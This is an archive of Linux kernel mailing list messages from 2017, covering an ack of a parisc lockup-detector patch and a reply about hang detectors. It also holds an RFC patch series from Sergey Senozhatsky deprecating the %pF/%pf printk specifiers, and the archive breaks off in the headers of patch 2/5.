In-Reply-To: <20170912194146.407385557@linutronix.de>
X-Provags-ID: V03:K0:7aqR/he3kL7A1ooFY7cyKhKPxgAXoKtPOQDY/uk7AIlsHm34unK
 VKZGbbyuchRl3tkmsreQGq93vAU5XFKE04dsDvrW1BoobWoLixvL7W40uQLzxjLbINaKc36
 Pi+fAjwne9tg36S/ZCS74Cio3VoS4eFJx7TakjchMEz7dzsVkKtLUFRJ5Uh7R2j6aw0g/9E
 /XWVOb5gSZbHNZowGTr1Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:LPgiLBKEFJU=:IQD+bm+aMWhlCj0E2dzx09
 mTZJrBGfVGMLoqGNtyJ6Ukoovukj8NO/5MOb5CVKvThHy/40ulV6LTgbP0JeKNKLLDtu0dME1
 4fTb7jU02tRoYGF1tELe8c4aEUZAsRPFkKBpOjckWX8C4Ezp7Jm0vP5Xdo8kQuYGiJqRPa2B8
 msMqrPltFuXtJIyo8LQqdRPF2obQM6ZQbpRxtIMbfuLc2MDbxs8LH6IC9WVL/mtYzIVmh+EJb
 GZUtjU+RawmR3NT4djlRJWDD4iDjCFo6Za6K4O+A2HBxQIgiVLtj2xi4rOJ8tTjg/sSrYk2NT
 b3NfP8/rRgUZiGzphKs+dlzTDFea6BbT5fQuD4i0gstemLJ0BE32lpAwXZtR5eD7teuH4uXhG
 fsAv2jCfNC50jWS8Bg5sYhyNpobkzzOMuQXg7HRUEWXPSx4OXPHeJXuZmIG3OEaqgs8Q+j5jX
 L6vN7v7VTibvDkT0ui3LeDRRmwv6qaSgrIkRJD07/8ynI7ig1KLafodkD0YbhlkHYHsuUw6gb
 U2L0TwhblWX1MdPDwtpLPmvaa4tjsrOEKAEX4jivFssF9nKRRtHniqMIDcQCMmMFSlyjXZw4C
 NWikcTEAN2nsPBXnAESuCMlemZ1TCxyeDcQy/8rU9teHZb1qtnuYDTQZdGWOc0TB6E6sQQQgz
 LF05HypGfoVhwytK5yMZxCc2DOzkqyXYlP5J4VlRwcBV20bBSevbCg5O+4M0xhBTwjvqChd2j
 4GrF01d6gcoWwMhWJvnHOtzpcmGaUVcARv7BtHnnfzhrQFw5OLO0m9j8EKaKuTmWrMuacQnh 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27803 gmane.linux.kernel:2570164
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27803>

* Thomas Gleixner <tglx@linutronix.de>:
> The broken lockup_detector_suspend/resume() interface is going away. Use
> the new lockup_detector_soft_poweroff() interface to stop the watchdog from
> the busy looping power off routine.
> 
> Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
> Cc: Don Zickus <dzickus@redhat.com>
> Cc: Chris Metcalf <cmetcalf@mellanox.com>
> Cc: linux-parisc@vger.kernel.org
> Cc: Peter Zijlstra <peterz@infradead.org>
> Cc: Sebastian Siewior <bigeasy@linutronix.de>
> Cc: Nicholas Piggin <npiggin@gmail.com>
> Cc: Ulrich Obergfell <uobergfe@redhat.com>
> Cc: Borislav Petkov <bp@alien8.de>
> Cc: Andrew Morton <akpm@linux-foundation.org>
> Cc: Helge Deller <deller@gmx.de>
> Link: http://lkml.kernel.org/r/20170831073053.281414373@linutronix.de
> 
> ---
>  arch/parisc/kernel/process.c |    2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> --- a/arch/parisc/kernel/process.c
> +++ b/arch/parisc/kernel/process.c
> @@ -146,7 +146,7 @@ void machine_power_off(void)
>  
>  	/* prevent soft lockup/stalled CPU messages for endless loop. */
>  	rcu_sysrq_start();
> -	lockup_detector_suspend();
> +	lockup_detector_soft_poweroff();
>  	for (;;);
>  }

Thomas, thanks for cleaning that up.  
You may add to patches 03/04:
Acked-by: Helge Deller <deller@gmx.de>


On a side-note, there is sadly no general function like
	turn_off_all_kind_of_runtime_hang_detectors()
which turns off *all* detectors at once (including soft lockup detector).
I've seen another detector complaing at runtime that we were hanging
here. I would need to dig up more info if you are interested...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Don Zickus <dzickus@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [patch V2 04/29] parisc: Use lockup_detector_stop()
Date: Thu, 14 Sep 2017 09:46:39 -0400
Lines: 56
Approved: news@gmane.org
Message-ID: <20170914134639.2f2yz3o66igau6xq@redhat.com>
References: <20170912193654.321505854@linutronix.de>
 <20170912194146.407385557@linutronix.de>
 <20170914085917.GA24723@ls3530>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505396808 3486 195.159.176.226 (14 Sep 2017 13:46:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 14 Sep 2017 13:46:48 +0000 (UTC)
User-Agent: NeoMutt/20170428-dirty (1.8.2)
Cc: Thomas Gleixner <tglx@linutronix.de>,
        LKML <linux-kernel@vger.kernel.org>,
        Ingo Molnar <mingo@kernel.org>,
        Peter Zijlstra <peterz@infradead.org>,
        Borislav Petkov <bp@alien8.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Sebastian Siewior <bigeasy@linutronix.de>,
        Nicholas Piggin <npiggin@gmail.com>,
        Chris Metcalf <cmetcalf@mellanox.com>,
        Ulrich Obergfell <uobergfe@redhat.com>,
        linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 14 15:46:38 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dsUTW-0000gl-Ip
	for glk-linux-kernel-3@m.gmane.org; Thu, 14 Sep 2017 15:46:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751419AbdINNqn (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 14 Sep 2017 09:46:43 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:59664 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751133AbdINNqm (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 14 Sep 2017 09:46:42 -0400
Original-Received: from smtp.corp.redhat.com (int-mx04.intmail.prod.int.phx2.redhat.com [10.5.11.14])
        (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id EDEE781DE4;
        Thu, 14 Sep 2017 13:46:41 +0000 (UTC)
DMARC-Filter: OpenDMARC Filter v1.3.2 mx1.redhat.com EDEE781DE4
Authentication-Results: ext-mx01.extmail.prod.ext.phx2.redhat.com; dmarc=none (p=none dis=none) header.from=redhat.com
Authentication-Results: ext-mx01.extmail.prod.ext.phx2.redhat.com; spf=fail smtp.mailfrom=dzickus@redhat.com
Original-Received: from redhat.com (dhcp-17-165.bos.redhat.com [10.18.17.165])
        by smtp.corp.redhat.com (Postfix) with SMTP id 4CD486CDD2;
        Thu, 14 Sep 2017 13:46:40 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20170914085917.GA24723@ls3530>
X-Scanned-By: MIMEDefang 2.79 on 10.5.11.14
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.25]); Thu, 14 Sep 2017 13:46:42 +0000 (UTC)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2570331 gmane.linux.ports.parisc:27804
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2570331>

On Thu, Sep 14, 2017 at 10:59:17AM +0200, Helge Deller wrote:
> * Thomas Gleixner <tglx@linutronix.de>:
> > The broken lockup_detector_suspend/resume() interface is going away. Use
> > the new lockup_detector_soft_poweroff() interface to stop the watchdog from
> > the busy looping power off routine.
> > 
> > Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
> > Cc: Don Zickus <dzickus@redhat.com>
> > Cc: Chris Metcalf <cmetcalf@mellanox.com>
> > Cc: linux-parisc@vger.kernel.org
> > Cc: Peter Zijlstra <peterz@infradead.org>
> > Cc: Sebastian Siewior <bigeasy@linutronix.de>
> > Cc: Nicholas Piggin <npiggin@gmail.com>
> > Cc: Ulrich Obergfell <uobergfe@redhat.com>
> > Cc: Borislav Petkov <bp@alien8.de>
> > Cc: Andrew Morton <akpm@linux-foundation.org>
> > Cc: Helge Deller <deller@gmx.de>
> > Link: http://lkml.kernel.org/r/20170831073053.281414373@linutronix.de
> > 
> > ---
> >  arch/parisc/kernel/process.c |    2 +-
> >  1 file changed, 1 insertion(+), 1 deletion(-)
> > 
> > --- a/arch/parisc/kernel/process.c
> > +++ b/arch/parisc/kernel/process.c
> > @@ -146,7 +146,7 @@ void machine_power_off(void)
> >  
> >  	/* prevent soft lockup/stalled CPU messages for endless loop. */
> >  	rcu_sysrq_start();
> > -	lockup_detector_suspend();
> > +	lockup_detector_soft_poweroff();
> >  	for (;;);
> >  }
> 
> Thomas, thanks for cleaning that up.  
> You may add to patches 03/04:
> Acked-by: Helge Deller <deller@gmx.de>
> 
> 
> On a side-note, there is sadly no general function like
> 	turn_off_all_kind_of_runtime_hang_detectors()
> which turns off *all* detectors at once (including soft lockup detector).
> I've seen another detector complaing at runtime that we were hanging
> here. I would need to dig up more info if you are interested...

There are numerous detectors I have seen over the years: rcu, clocksource,
hard/soft, hang, fs, network, wq?, etc..  I am not sure it is easy to put
them all in one place or makes sense.

I know working with the kvm folks, when they swap back in, the real clock
can do a massive jump forward and causes a flood of warnings such that they
had to 'touch' all of them before running the vm again.

Cheers,
Don


From - Thu Nov 08 21:40:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCH 0/5] [RFC] printk/ia64/ppc64/parisc64: let's deprecate %pF/%pf printk specifiers
Date: Sat, 16 Sep 2017 12:53:42 +0900
Lines: 92
Approved: news@gmane.org
Message-ID: <20170916035347.19705-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1505534322 28547 195.159.176.226 (16 Sep 2017 03:58:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 16 Sep 2017 03:58:42 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 16 05:58:37 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dt4FX-0002hp-2K
	for glpp-linux-parisc@m.gmane.org; Sat, 16 Sep 2017 05:58:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751316AbdIPD6m (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 15 Sep 2017 23:58:42 -0400
Original-Received: from mail-pg0-f66.google.com ([74.125.83.66]:35473 "EHLO
        mail-pg0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751248AbdIPD6l (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 15 Sep 2017 23:58:41 -0400
Original-Received: by mail-pg0-f66.google.com with SMTP id j16so2248543pga.2;
        Fri, 15 Sep 2017 20:58:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=3LyocXL/F+TnOW70AVWYu0vMw52S2BQRtenOiZmaFUE=;
        b=BPPEvoeEbD71A6Vocme8iK7KEnx2aG21JfA9WfPpns6uG336fIL2VtDefvNrfJuSqq
         sySH1VsiayiX5SC1kWZhoZ0KmzjjZyIXCoXc7MtahsF9By2gNs5Eum4ZaT3sWOSQ4z8Y
         WYaKh3fY/duHk6xMbu5xGE+qgrIjm+BQ7sFCfi6Z67W+e15/p1jiB1W3OgqbDv+RgJXY
         8uNA1bNZJQqdgM0HkllPwH1bi0rl9VBycqPtZFlfSRX6nqVju4PvmI9LSr4TUrhHyWqu
         OjIakNtPVK0wdbqJ9RrDO4xIaJFuT80D92A772jZ7QGObLCbak43z+HjddCtxQVLZpBh
         Wqtg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=3LyocXL/F+TnOW70AVWYu0vMw52S2BQRtenOiZmaFUE=;
        b=IfnlHQiB4Q7+xgbd+hOJAfBJIxNMKnEIhUx/TkI1m3Mnyuds2ASzEfhkLCxZe2Bv+1
         UePKIxonXPmdZ9az37o+X+N7qd02lGMV2QMuL0FufwdKj0nud+paezfquq4nHsc0Bqva
         ioE6GDi6tyipQMMX+Ouq9vnMlQn9c6DbXgJt6TyttoB7FvbE1rZkxG6TjWPypOrT4LbC
         WDIrFVQy9Gz0DVb2VOq3YTjnueMMMyH+auw/Jlo94H7oN1LWcdVdTXKQhPuaD4qn0+RW
         tzTZbn6u6fC5bAGQtJaLYZxh7ps/X5ijg8O+RDk1n4d2JlkKEVF0F3rYYobskiQebXJ3
         f6yA==
X-Gm-Message-State: AHPjjUgspnerEbFbCZ432Ezhtd6s5YPgepghUTtJTYZKub9/5+Kj5+bC
        DKLtpXO1NAJXlA==
X-Google-Smtp-Source: ADKCNb4vXVwMTAEbadKPubgBafWLluhD1ExZywGikAtWtcmqORCwNhDL/tvc+4rlgIHaqQSwaVadyQ==
X-Received: by 10.98.15.208 with SMTP id 77mr26471621pfp.318.1505534320521;
        Fri, 15 Sep 2017 20:58:40 -0700 (PDT)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id 76sm4448230pfp.158.2017.09.15.20.58.34
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 15 Sep 2017 20:58:39 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27805 gmane.linux.ports.ia64:28106 gmane.linux.ports.ppc64.devel:147943 gmane.linux.kernel:2571292
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27805>

	Hello

	RFC

	On some arches C function pointers are indirect and point to
a function descriptor, which contains the actual pointer to the code.
This mostly doesn't matter, except for cases when people want to print
out function pointers in symbolic format, because the usual '%pS/%ps'
does not work on those arches as expected. That's the reason why we
have '%pF/%pf', but since it's here because of a subtle ABI detail
specific to some arches (ppc64/ia64/parisc64) it's easy to misuse
'%pF/%pf' and '%pS/%ps' (see [1], for example).
	
	This patch set attempts to move ia64/ppc64/parisc64 C function
pointer ABI details out of printk() to arch code. Function dereference
code now checks if a pointer belongs to a .opd ELF section and dereferences
that pointer only if it does. The kernel and modules have their own .opd
sections that's why I use two different ARCH functions: for kernel and
for module pointer dereference.

	I planned to remove dereference_function_descriptor() entirely,
but then I discovered a bunch other uses cases (kgdbts, init/main.c,
extable, etc.), so I decided to keep dereference_function_descriptor()
around because the main point of this patch set is to deprecate %pF/%pf.
But at the same time, I think I can go further and handle both kernel
and module descriptor dereference in dereference_function_descriptor().
We need a module pointer for module .opd check, so that will come at an
extra cost of module lookup (may be there will some other issues along
the way, haven't checked it).

Right now we've got:

- dereference_function_descriptor(addr)
	a generic (old) function. it simply attempts to dereference
	whatever pointer we give it.

- dereference_kernel_function_descriptor(addr)
	dereferences a kernel pointer if it's within the kernel's .opd
	section.

- dereference_module_function_descriptor(module, addr)
	dereference a module pointer if it's within the module's .opd
	section.


*** A BIG NOTE ***
	I don't own ia64/ppc64/parisc64 hardware, so the patches are not
	tested. Sorry about that!


Another note:
	I need to check what is BPF symbol lookup and do we need to
	do any dereference there.


[1] https://marc.info/?l=linux-kernel&m=150472969730573

Sergey Senozhatsky (5):
  sections: split dereference_function_descriptor()
  ia64: Add .opd based function descriptor dereference
  powerpc64: Add .opd based function descriptor dereference
  parisc64: Add .opd based function descriptor dereference
  symbol lookup: use new kernel and module dereference functions

 Documentation/printk-formats.txt          | 15 +++++----------
 arch/ia64/include/asm/sections.h          | 14 +++++++++++++-
 arch/ia64/kernel/module.c                 | 13 +++++++++++++
 arch/ia64/kernel/vmlinux.lds.S            |  2 ++
 arch/parisc/boot/compressed/vmlinux.lds.S |  2 ++
 arch/parisc/include/asm/sections.h        |  3 +++
 arch/parisc/kernel/module.c               | 14 ++++++++++++++
 arch/parisc/kernel/process.c              | 10 ++++++++++
 arch/parisc/kernel/vmlinux.lds.S          |  2 ++
 arch/powerpc/include/asm/module.h         |  3 +++
 arch/powerpc/include/asm/sections.h       | 13 +++++++++++++
 arch/powerpc/kernel/module_64.c           | 16 ++++++++++++++++
 arch/powerpc/kernel/vmlinux.lds.S         |  2 ++
 include/asm-generic/sections.h            |  4 ++--
 include/linux/moduleloader.h              |  4 ++++
 kernel/kallsyms.c                         |  1 +
 kernel/module.c                           |  7 +++++++
 lib/vsprintf.c                            |  5 +----
 18 files changed, 113 insertions(+), 17 deletions(-)

-- 
2.14.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 1/5] sections: split dereference_function_descriptor()
Date: Sat, 16 Sep 2017 12:53:43 +0900
Lines: 108
Approved: news@gmane.org
Message-ID: <20170916035347.19705-2-sergey.senozhatsky@gmail.com>
References: <20170916035347.19705-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1505534335 29870 195.159.176.226 (16 Sep 2017 03:58:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 16 Sep 2017 03:58:55 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Sep 16 05:58:49 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dt4Fj-0007WK-6H
	for glk-linux-kernel-3@m.gmane.org; Sat, 16 Sep 2017 05:58:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751908AbdIPD6w (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 15 Sep 2017 23:58:52 -0400
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:37439 "EHLO
        mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751880AbdIPD6r (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 15 Sep 2017 23:58:47 -0400
Original-Received: by mail-pf0-f196.google.com with SMTP id e69so2067986pfg.4;
        Fri, 15 Sep 2017 20:58:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=m4NVOdEEbgW+yLsF7VlHqvGOWnvuNQRtnSx21e1b6Bk=;
        b=GWUxHrCDC9NQnugVSPE13EEAzjg3FO7MWI5lHZ8uYb4UJA08gWv91oqYlETEOoxcDb
         IxTIwIJygr5NNjw29iyt1sAPwjAgvR4HBDOWpn3M7x1AlILrt49Q5jhauEq8gSfNXSIy
         VXeDW5mt+/ITH21oFYBA2j8lqil9Byv+c7pyhO9FjeLlu82+Kx8IYcqjT4X8yf2IMVr7
         BECWFVC0lSzfaQKkHyNGtaw3CAZXpMst4uRe4ObrtWBIGg9w2ueCoK5AbxLiRYMxhvXV
         ow/RSmQFDJlGlnJhSDjZgZbhfgWrC4mBiy2RW2Sh0crw91zOJlwKbNG7+ox0PSlO0iV+
         La+g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=m4NVOdEEbgW+yLsF7VlHqvGOWnvuNQRtnSx21e1b6Bk=;
        b=oSQ20KVx1vIDUwhypm4Ik74rf9ipvmk9Uy0J+uFCA/hwiqGnb0fR9/bg/beA1Pnw4z
         a3T6hst65mreGxYKRh82aH3xnxJfalG95j/Du9fO91w3g6S4rKvtJ9l/TSHQoAYyxRFz
         nCZdvw8UCx3AFWP6XAhaNaSQpAZBkbLzynUpYBm/px0xnx9ekdL/TlrT0u/ZWQZU2I76
         teSgu5Ah5P1Ha2aeJgcGOzW3BTgYWUjSCcp4yBHtLpAPqoqsq3LywJZp1K9DtcIUxs7v
         X6EtpLZthZVLsTJvb7c3oOKShUiqIMG/LISOBRXLPbT3XLEyp8XPfiMsMM/Wrrsvtu7A
         QQ8w==
X-Gm-Message-State: AHPjjUg2syplUvzgnGTblPTAAp4q+GFWLfl3FepcAYqvTr5Oeb6YFyWp
        9sg/hDMOXEqbSA==
X-Google-Smtp-Source: ADKCNb6mwPuyg3VsLqB8A+HCfUVPghXXhZz4raiSj1edh5EUJMxQaWQmff7m8wqvMfgSiRh91pjbmQ==
X-Received: by 10.84.238.141 with SMTP id v13mr30891509plk.349.1505534326300;
        Fri, 15 Sep 2017 20:58:46 -0700 (PDT)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id 76sm4448230pfp.158.2017.09.15.20.58.41
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 15 Sep 2017 20:58:45 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
In-Reply-To: <20170916035347.19705-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2571293 gmane.linux.ports.ia64:28107 gmane.linux.ports.parisc:27806 gmane.linux.ports.ppc64.devel:147944
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2571293>

There are two format specifiers to print out a pointer in symbolic
format: '%pS/%ps' and '%pF/%pf'. On most architectures, the two
mean exactly the same thing, but some architectures (ia64, ppc64,
parisc64) use an indirect pointer for C function pointers, where
the function pointer points to a function descriptor (which in
turn contains the actual pointer to the code). The '%pF/%pf, when
used appropriately, automatically does the appropriate function
descriptor dereference on such architectures.

The "when used appropriately" part is tricky. Basically this is
a subtle ABI detail, specific to some platforms, that made it to
the API level and people can be unaware of it and miss the whole
"we need to dereference the function" business out. [1] proves
that point (note that it fixes only '%pF' and '%pS', there might
be '%pf' and '%ps' cases as well).

It appears that we can handle everything within the affected
arches and make '%pS/%ps' smart enough to retire '%pF/%pf'.
Function descriptors live in .opd elf section and all affected
arches (ia64, ppc64, parisc64) handle it properly for kernel
and modules. So we, technically, can decide if the dereference
is needed by simply looking at the pointer: if it belongs to
.opd section then we need to dereference it.

The kernel and modules have their own .opd sections, obviously,
that's why we need to split dereference_function_descriptor()
and use separate kernel and module dereference arch callbacks.

This patch does the first step, it
a) adds dereference_kernel_function_descriptor() function.
b) adds a weak alias to dereference_module_function_descriptor()
   function.

So, for the time being, we will have:
1) dereference_function_descriptor()
   A generic function, that simply dereferences the pointer. There is
   bunch of places that call it: kgdbts, init/main.c, extable, etc.

2) dereference_kernel_function_descriptor()
   A function to call on kernel symbols that does kernel .opd section
   address range test.

3) dereference_module_function_descriptor()
   A function to call on modules' symbols that does modules' .opd
   section address range test.

[1] https://marc.info/?l=linux-kernel&m=150472969730573

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
---
 include/asm-generic/sections.h | 4 ++--
 include/linux/moduleloader.h   | 4 ++++
 kernel/module.c                | 6 ++++++
 3 files changed, 12 insertions(+), 2 deletions(-)

diff --git a/include/asm-generic/sections.h b/include/asm-generic/sections.h
index e5da44eddd2f..21d2165e531a 100644
--- a/include/asm-generic/sections.h
+++ b/include/asm-generic/sections.h
@@ -49,10 +49,10 @@ extern char __ctors_start[], __ctors_end[];
 
 extern __visible const void __nosave_begin, __nosave_end;
 
-/* function descriptor handling (if any).  Override
- * in asm/sections.h */
+/* Function descriptor handling (if any).  Override in asm/sections.h */
 #ifndef dereference_function_descriptor
 #define dereference_function_descriptor(p) (p)
+#define dereference_kernel_function_descriptor(p) (p)
 #endif
 
 /* random extra sections (if any).  Override
diff --git a/include/linux/moduleloader.h b/include/linux/moduleloader.h
index 4d0cb9bba93e..172904e9cded 100644
--- a/include/linux/moduleloader.h
+++ b/include/linux/moduleloader.h
@@ -85,6 +85,10 @@ void module_arch_cleanup(struct module *mod);
 /* Any cleanup before freeing mod->module_init */
 void module_arch_freeing_init(struct module *mod);
 
+/* Dereference module function descriptor */
+unsigned long dereference_module_function_descriptor(struct module *mod,
+						     unsigned long addr);
+
 #ifdef CONFIG_KASAN
 #include <linux/kasan.h>
 #define MODULE_ALIGN (PAGE_SIZE << KASAN_SHADOW_SCALE_SHIFT)
diff --git a/kernel/module.c b/kernel/module.c
index de66ec825992..87cdb46863cd 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -2121,6 +2121,12 @@ void __weak module_arch_freeing_init(struct module *mod)
 {
 }
 
+unsigned long __weak dereference_module_function_descriptor(struct module *mod,
+							    unsigned long addr)
+{
+	return addr;
+}
+
 /* Free a module, remove from lists, etc. */
 static void free_module(struct module *mod)
 {
-- 
2.14.1



From - Thu Nov 08 21:40:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 2/5] ia64: Add .opd based function descriptor dereference
Date: Sat, 16 Sep 2017 12:53:44 +0900
Lines: 102
Approved: news@gmane.org
Message-ID: <20170916035347.19705-3-sergey.senozhatsky@gmail.com>
References: <20170916035347.19705-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1505534337 30085 195.159.176.226 (16 Sep 2017 03:58:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 16 Sep 2017 03:58:57 +0000 (UTC)
